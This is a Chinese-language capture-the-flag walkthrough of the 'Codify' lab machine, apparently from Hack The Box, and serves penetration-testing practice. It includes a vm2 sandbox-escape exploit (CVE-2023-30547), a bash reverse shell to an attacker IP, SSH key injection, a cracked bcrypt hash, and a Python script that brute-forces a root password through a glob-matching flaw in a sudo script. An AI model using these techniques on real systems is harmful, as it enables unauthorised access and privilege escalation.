靶场信息
- OS:Linux
- 难度:easy
Enum2GetMsg
写入hosts
echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts
使用Nmap扫描开发端口信息
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Codify
3000/tcp open http Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Codify
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
初始立足点
浏览codify.htb,有三个Web页面
- About Us - 此页面解释了 Codify 是一个 Node.js 沙盒环境,使用 vm2 库安全地执行不受信任的代码。
- Editor - 一个带有文本区域的简单页面,用于输入 Node.js 代码并执行它。
- Limitations - 注释限制,例如阻止访问某些模块(例如 child_process 和 fs)。
VM2的话这里直接拿最新的CVE去打CVE-2023-30547
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('id');
}
`
console.log(vm.run(code));
方法一(反弹shell)
写入Shell文件W.sh
来反弹shell
#! /bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.52/2333 0>&1'
wget获取后chmod赋可执行,拿到立足点
方法二(ssh公钥免密登录)
使用ssh-keygen生成一个id_rsa、id_rsa.pub
构造这个OS命令向目标机器写入id_rsa.pub
'ls -al ~/;mkdir ~/.ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxtAMshGdWeqB9WHylfTUUGksOhANWSAOHBQLDTVVjZIxx3yO7xBBrZcG03iImnJ7/Fa2jFNCtES5m+NUdQ8eChxtkMfzgGyTpcg7iEo9KvIT3zTND5mILQyxUffiyBhXI0WXiRX8Y29QnFq0+GA2N/6XBI56NnRsTASoZfqNQRnISftsfpQnnqX6/YJH7biPhAr4/ePJx7zPJTDitEX8zeH87jb1zaZ1bTVXQbmpZ37qF1NQ+/MebS74t4anEsevYW3qJObZyJsvIX+aILSptA9HMFintYgeg0wiII4hdBSEH7mvB9KHfQ1dtMfpBNL6rUJ2BRhjB3Nq84oh3p5IDWjVkZGQ2PH33e2HogF0KEDMWXhvFOa1ZlxOHkL8nlIG3XB8A8yfFe5doLrv38EhZzsLKxQurRjdG6NwzZXjeQSGV0tFey8uEEgc3FwglfThBmZRNaUOYvYmprFBzmVqO1nHMaOPq2UUd/5KwaIdrgIGeWR7ilTkIwwisAmvrokOCC4lErtA7WO0bECHc8ZiAGlIS+X9XiXJm47FiUlcalXCQYPC3Mnt6aFBq+KhfYbmcn+ZA6X0H28VTDrxQqZVUjku4t06DwCMY+oHeRo9305e9Dkx+tkXTYYeTAbL5G1UoedZ7co9MgXNKix2rjB0LoYZp/pEIxJwjAavAPfxwpQ==" > ~/.ssh/authorized_keys'
使用生成的id_rsa私钥ssh登录svc用户,拿到立足点
Enum Linux
- 上传linpeas.sh进行自动化枚举
root files有两个路径,/var/www是有权限的
svc@codify:/var/www/contact$ ls
ls
index.js
package.json
package-lock.json
templates
tickets.db
发现一个sqlite文件,strings看一下内容
svc@codify:/var/www/contact$ strings tickets.db
strings tickets.db
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
看到了joshua的hash保存到hash.txt,hashid识别hash类型
$ hashid hash.txt
--File 'hash.txt'--
Analyzing '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
--End of file 'hash.txt'--
用 hashcat -m 3200
破解得到明文spongebob1
ssh登录joshua用户,拿到user.txt
joshua@codify:~$ cat user.txt
fd57d0c3857cd67fd3bfc0f9e9d00351
Enum4Root
sudo -l
发现一个root权限的shell脚本
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
cat下来分析
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
这里存在一个shell的危险写法
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
脚本的这一部分将用户提供的密码 (USER_PASS) 与实际数据库密码 (DB_PASS) 进行弱比较。这里的漏洞是由于 Bash 中 [[ ]]
内部使用了 == ,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含像 * 或 ? 这样的全局字符,它可能会匹配意外的字符串。
这里就可以利用模式匹配写脚本去爆破密码了
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True
# password = kljh12k3jhaskjh12kjh3
su root
切换root用户,拿到root.txt
root@codify:~# cat root.txt
91d96da8aafb373bf073e92a3d9a4506
总结
- Web直接讲明了是Node.js的VM2沙盒,直接拿现成CVE打就OK了
- 立足点有较多的办法,最直接和常用的是反弹shell。我在这里又学习了不太常用的ssh公钥免密登录
- 使用hashid识别hash类型,用hashcat爆破joshua的hash,拿到user.txt
- shell脚本中比较时
""
缺失导致模式匹配,用*
模式匹配爆破出root密码